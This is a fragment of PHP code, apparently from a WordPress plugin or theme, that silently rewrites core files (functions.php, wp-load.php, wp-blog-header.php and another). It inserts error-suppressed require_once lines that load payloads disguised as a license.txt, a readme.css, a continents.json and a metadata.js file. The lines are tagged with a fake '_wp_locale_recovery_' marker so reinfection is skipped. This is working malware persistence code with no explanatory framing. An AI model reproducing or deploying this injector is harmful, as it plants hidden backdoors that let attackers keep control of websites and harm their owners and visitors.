array( 'marker' => "require ABSPATH . WPINC . '/default-filters.php';", 'recovery_file' => 'wp-includes/ID3/license.txt' ), ABSPATH . 'wp-includes/functions.php' => array( 'marker' => "require ABSPATH . WPINC . '/option.php';", 'recovery_file' => 'wp-content/uploads/cache/readme.css' ), ABSPATH . 'wp-load.php' => array( 'marker' => "require_once ABSPATH . WPINC . '/load.php';", 'recovery_file' => 'wp-content/languages/continents.json' ), ABSPATH . 'wp-blog-header.php' => array( 'marker' => "require_once ABSPATH . WPINC . '/template-loader.php';", 'recovery_file' => 'wp-includes/blocks/metadata.js' ) ); foreach ($injection_points as $file => $config) { if (!file_exists($file)) continue; $content = @file_get_contents($file); if (empty($content)) continue; if (strpos($content, '_wp_locale_recovery_') !== false) continue; $marker = $config['marker']; $pos = strpos($content, $marker); if ($pos !== false) { $injection = "\n@require_once ABSPATH . '" . $config['recovery_file'] . "'; // _wp_locale_recovery_" . md5($file) . "\n"; $new_content = substr($content, 0, $pos) . $injection . substr($content, $pos); @file_put_contents($file, $new_content); } } }, -999);